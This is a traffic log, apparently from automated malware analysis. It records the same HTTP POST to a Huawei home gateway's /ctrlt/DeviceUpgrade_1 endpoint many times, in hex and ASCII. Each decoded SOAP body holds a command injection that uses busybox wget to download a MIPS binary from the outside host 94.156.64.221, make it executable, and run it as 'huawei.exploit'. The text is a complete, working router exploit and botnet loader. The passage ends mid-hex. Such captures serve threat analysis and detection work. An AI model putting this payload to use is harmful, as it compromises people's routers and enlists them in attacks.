2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 